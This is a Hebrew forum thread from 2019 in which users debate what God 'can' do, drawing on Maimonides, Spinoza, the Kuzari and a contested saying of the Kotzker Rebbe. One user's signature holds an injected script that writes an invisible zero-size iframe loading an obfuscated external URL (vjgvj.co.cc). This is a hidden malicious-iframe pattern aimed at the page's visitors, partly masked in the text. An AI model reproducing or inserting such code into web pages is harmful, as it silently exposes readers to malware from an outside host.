|
|
| נשלח ב-30/1/2019 12:13 |
 |
| |
וגם זה אולי לא מעודכן, כי בקוורה יש כמדומה נתונים חדשים. אבל אלו רק דוגמאות צדדיות לנושא המרכזי שלנו והערך שלנו הוא כמתאבן פיקנטי.
|
|
|
|
| נשלח ב-30/1/2019 20:09 |
|
| |
| מיימוני כתב: |  |
לפיכך, השאלה המאד חשובה שבה נפתח האשכול, מה אלוקים "יכול", היא שאלה לא רק על אלוקים אלא על יכולתנו להסתייע בפילוסופיה כדי לדון מה ניתן לומר על אלוקים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
שלום עליכם. אודה לך על תשובתך אם הסכמת עם תשובתי, 'לא "יכול" כלום, כי "יכול" זה בכוח, אלא הוא רק בפועל.' ואם במקרה לא הסכמת, אודה על תשובתך למה. נ. ב. לדעתי, עבור האדם עם השם מימוני, אמור להיות עניין עקרוני בתשובה לעיל.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-30/1/2019 20:15 |
|
| |
ינוח
| תלמידתלמיד כתב: | | | אז אתה סבור כפילוסוף שבספר הכוזרי? |
|
כאן אני מסכים עם הפילוסוף רמב"ם, ועם חכמי היהדות אחרים, שנהגו לעצור ולחשוב, ולא הסתפקו בסיפורי מעשיות.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-31/1/2019 10:41 |
|
| |
| ירוחםשמ כתב: | |
מרוב להיטות להוכחת צידקתכם- אתם עושים לאלוקים האנשה-פרסוניפיקציה-. ואין לך חוסר הבנה באלוקים גדול מזה.
מודה כי גם אני יודע כי איני יודע מאומה עליו ופחות מזה.
אין לא גוף ואין לו כל דמיון בכלל.
השאלה הטיפשית של מה הוא יכול או מה הוא לא יכול. היא חוסר הידע וההבנה המוחלט.
|
|
שים לב,
אתה הראשון שכותב "איני יודע מאומה עליו ופחות מזה".
אבל...תיכף ומיד, אתה מוסיף..... "אין לו גוף ואין לו דמיון בכלל".......!!!!
זה, נכון שכבר בהתחלה שלישישי כתב לכם "זה נכון שאתם לא יודעים?"
עכשיו, אחרי שהבנת שאתה לא יודע, הצלחת לצאת מחושך מצרים.
בהצלחה בדרכך החדשה!
והשאלה של שלישישי איננה טיפשית!
|
|
|
|
| נשלח ב-31/1/2019 10:54 |
|
| |
השאלה היא טפשית- כי כאמור אין לו גוף ואין לו דמיון כלל ולכן הפועל היוצא מכך, אי אפשר לדעת עליו כלום. תודה על איחולך על דרכי החדשה. אבל אני הולך בדרך הזו זמן רב. אחד מגדולי ישראל הרבי מקוצק - אמר ''איני רוצה לעבוד אלוקים שאני מבין אותו.''
|
|
|
|
| נשלח ב-31/1/2019 11:23 |
|
| |
| ירוחםשמ כתב: | |
השאלה היא טפשית- כי כאמור אין לו גוף ואין לו דמיון כלל ולכן הפועל היוצא מכך, אי אפשר לדעת עליו כלום. תודה על איחולך על דרכי החדשה. אבל אני הולך בדרך הזו זמן רב. אחד מגדולי ישראל הרבי מקוצק - אמר ''איני רוצה לעבוד אלוקים שאני מבין אותו.''
|
|
לפעמים יש לך בדיחות טובות.
הפעם זה: "וְאַתְּ עָלִית עַל כֻּלָּנָה."....
|
|
|
|
|
| נשלח ב-31/1/2019 12:01 |
|
| |
ינוח
סליחה שלא התייחסתי ספצפית לדבריך.
עתה אני רואה שצריך לחשוב היטב על דבריך.
כתבת
לא "יכול" כלום, כי "יכול" זה בכוח, אלא הוא רק בפועל.
זו הערה מעמיקה ומבריקה מאד. עלי לבדוק אם אני מבין. אתה טוען כי אלוקים תמיד בפועל, ומעשיו בפועל, ואין טעם לדון מה היה עושה "אילו" כי אין אצלו "אילו" כמו אצלנו.
אמנם יש כאן שתי נקודות להעיר עליהן.
א. מה לגבי העתיד? מסתבר שמה שה' יעשה בעתיד עבורנו הוא נסתר מאיתנו אבל לא עבורו. אבל לכן אנו משתמשים במילה "יכול" בהקשר של "האם ה' יפעל כך, יש אפשרות כזו?" מבחינת הספק שלנו אנו שואלים.
ב. דרכי ה' נסתרו מאיתנו, אבל אנו רואים את התוצאות. וכבר חז"ל שאלו במדרש: מדוע לא לברוא עולם כולו במידת הדין, או במידת הרחמים. כל מי שנפגע שואל: למה נעשה לי כך, למה לא אחרת.
אם ממשיכים עם הקו שקבעת, האם איננו מגיעים בסופו של דבר לשפינוזה, שאצלו הא-ל מבטא את כל מה שהוא יכול, וזה אומר שהעולם שאיננו תמיד מרוצים ממנו הוא היחיד האפשרי, ומה שהיה הוא שיהיה.
אני מרשה לעצמי לקוות שיכול להיות גם טוב יותר.
בכל אופן, התשובה שלך עונה על שאלתו של שלישישי, אבל דומה שאם אתה הולך בכיוון שפינוזיאני, אני מעדיף לחפש תשובות אחרות, בתקוה שיש.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-31/1/2019 12:16 |
|
| |
| ירוחםשמ כתב: | | | אחד מגדולי ישראל הרבי מקוצק - אמר ''איני רוצה לעבוד אלוקים שאני מבין אותו.'' |
|
חבל שתולים בו ציטוטים שלא אמר, והם הפוכים למה שאמר קוצקאי.
הנה הציטוט,
"בשום פנים לא הייתי רוצה לעבוד אלוקים כזה, שדרכיו יהיו מובנים על פי שכל של כל טיפה סרוחה."
כלומר, לעבוד על הבנה זה מובן מאליו, אבל לא טריוויאלי לעבוד.
"וצונו להתמיד בעיון ובמחקר עד שנגיע להבנת האמת שבתורתנו"
(הרב סעדיה גאון "אמונות ודעות")
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-31/1/2019 12:41 |
|
| |
מאיפה הציטוט? למה אתה חושב שהציטוט שלך אמין יותר מהציטוט שלי. הפרשנות שלך היא לעבוד על הבנה היא שלך בלבד. ולא ישיגיהו משיגי הגוף- זו אזהרה כנגד הטפשים
|
|
|
|
| נשלח ב-31/1/2019 13:01 |
|
| |
| מיימוני כתב: | | |
בכל אופן, התשובה שלך עונה על שאלתו של שלישישי, אבל דומה שאם אתה הולך בכיוון שפינוזיאני, אני מעדיף לחפש תשובות אחרות, בתקוה שיש.
|
|
התשובה עונה על שום כלום.
נשאל שוב: אלוהים יכול לרקוד עם מטאטא?
אתם מכירים את אלוהים? נכון שאתם לא מכירים?
אז, מה זה זה, כל הפלסף הזה?
|
|
|
|
| נשלח ב-31/1/2019 14:03 |
|
| |
| מיימוני כתב: | | מה לגבי העתיד? מסתבר שמה שה' יעשה בעתיד עבורנו הוא נסתר מאיתנו אבל לא עבורו.
|
|
תודה על התייחסותך!
מעשה ה' לפי הרמב"ם זה תהליכי הטבע.
בעתיד יהיה לפי חוקיות העולם. במידת השגתנו את החוקיות יכולים אנו להשיג את העתיד.
מבחינתי הא-ל הוא חוקיות העולם. הא-ל הוא לא "צופה" את העתיד, כמו שחוק לא "צופה", אלא על פי חוקיות נעשה כל דבר.
***אני מרשה לעצמי לקוות שיכול להיות גם טוב יותר.***
כדאי קודם להגדיר, מה זה "טוב"?
**אבל דומה שאם אתה הולך בכיוון שפינוזיאני, אני מעדיף לחפש תשובות אחרות, בתקוה שיש.***
עם שפינוזה מסכים אני כי כל דבר נעשה על פי חוקיות הטבע, אבל איני מסכים עם טענת שפינוזה כי "אל הוא טבע והוא גוף אינסופי", כי מבחינתי הא-ל הוא צורת הטבע, כלומר, חוקיות הטבע.
נ. ב. יש פה טענות שלא מכירים אנו כלום על הא-ל.
אז הייתי ממשיך ואומר, לא מכירים אמת על שום דבר, ואם מישהו לא רוצה לומר מה שהוא לא יודע באמת, אז יצטרך לשתוק ולא לפתוח את הפה כלל על שום דבר.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-31/1/2019 15:00 |
|
| |
ינוח
| ירוחםשמ כתב: | | [quote]
הבנתי עכשיו מאיפה הציטוט של ך ומאיפה אתה לומד. המקורות שלי הם מהספרים ומהם אני לומד. |
|
אני מכיר את האמרות מאת קוצקאי בעיקר מהספר "אין שלם מלב שבור" בעריכת שאול מייזליש.
מאיזה ספרים מכיר אתה את האמרות מאת הרבי מקוצק?
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-31/1/2019 16:15 |
|
| |
מה שאני זוכר כרגע ''אמת מקוצק תצמח'' אבדוק הערב בספריתי.עד כמה שאני זוכר יש לי עוד כמה. בצעירותי הוא היה נערץ . שאול מייזליש- ידיד טוב שלי נאמן עלי שעשה עבודה נכונה. אני מכיר את הספר.אבל אתה עומד על הבדלי ניסוח - כשמצטטים מספרים או מאמרות בדרך כלל נןפלים אי דיוקים. הרי אין ספר מוסמך ומקובל על כל הדעות. לע'ד הפרשנות שלך לציטוט היא פרשנות שלך. בכל מקרה זה לא משנה בהרבה . את המהות שרציתי להעביר
|
|
|
|
|
